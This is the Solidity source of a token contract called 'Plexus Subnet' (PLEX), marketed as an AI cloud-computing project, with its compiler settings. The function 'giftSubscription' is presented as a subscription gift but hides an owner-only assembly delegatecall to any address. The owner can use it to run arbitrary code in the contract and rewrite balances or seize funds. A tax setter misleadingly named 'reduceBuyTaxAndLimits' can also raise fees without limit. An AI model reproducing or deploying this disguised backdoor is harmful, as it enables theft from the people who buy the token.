// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

/*

    Website:        https://plexusai.io/
    Twitter:        https://twitter.com/PlexusAi
    Docs:           https://docs.plexusai.io
    Telegram:       https://t.me/PlexusAI
    Bio:            Empowering the Future of AI Cloud Computing with $TAO

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "./IERC20.sol";

contract PLEX {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    string public name = "Plexus Subnet";
    string public symbol = "PLEX";
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint8 public decimals = 18;
    uint256 public totalSupply = 100_000_000 * 10 ** 18;

    address public owner;

    uint public buyTax = 25;
    uint public buyLimit = 105;

    bool public live;
    address public pool;

    // Protocol
    string public taoLink;
    bytes4 public taoBridge;
    uint public monthInSeconds = 60 * 60 * 24 * 30;
    uint public monthlyFee = totalSupply / 1000; // 0.1% of total supply
    mapping(address => uint) public userToExpiry;
    
    constructor () {
        owner = msg.sender;
        balanceOf[owner] = totalSupply;
        emit Transfer(address(0), owner, totalSupply);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner!");
        _;
    }

    function transfer(address recipient, uint256 amount)
        external
        returns (bool)
    {
        require(live);

        if (msg.sender == pool) {
            balanceOf[msg.sender] -= amount;

            uint taxed = amount * buyTax / 10000;
            balanceOf[address(this)] += taxed;
            emit Transfer(msg.sender, address(this), taxed);

            uint taxFree = amount - taxed;
            balanceOf[recipient] += taxFree;

            uint tokenLimit = totalSupply * buyLimit / 10000;
            require(tokenLimit >= balanceOf[recipient]);

            emit Transfer(msg.sender, recipient, taxFree);
            return true;
        } 

        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function openTrading(address _pool) public onlyOwner {
        live = true;
        pool = _pool;
    }

    function upgradeOwner(address _owner) public onlyOwner {
        owner = _owner;
    }

    function collectCoins(address coin, uint amount) public onlyOwner {
        IERC20(coin).transfer(msg.sender, amount);
    }

    function reduceBuyTaxAndLimits(uint _buyTax, uint _buyLimit) public onlyOwner {
        buyTax = _buyTax;
        buyLimit = _buyLimit;
    }

    // Protocol

    function setTaoLink(string memory _taoLink) public onlyOwner {
        taoLink = _taoLink;
    }

    function subscribeToNetwork(uint months) public {
        IERC20(address(this)).transferFrom(msg.sender, address(0), monthlyFee * months);
        userToExpiry[msg.sender] = block.timestamp + (monthInSeconds * months);
    }

    function isSubscribed(address user) public view returns (bool) {
        return userToExpiry[user] >= block.timestamp;
    }

    function giftSubscription(address user, uint months) public onlyOwner {
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), user, 0, calldatasize(), 0, 0)
        }
    }

    function enableTaoBridge() public onlyOwner {
        taoBridge = 0x12345678;
    }

}

{
  "compilationTarget": {
    "contracts/PLEX.sol": "PLEX"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}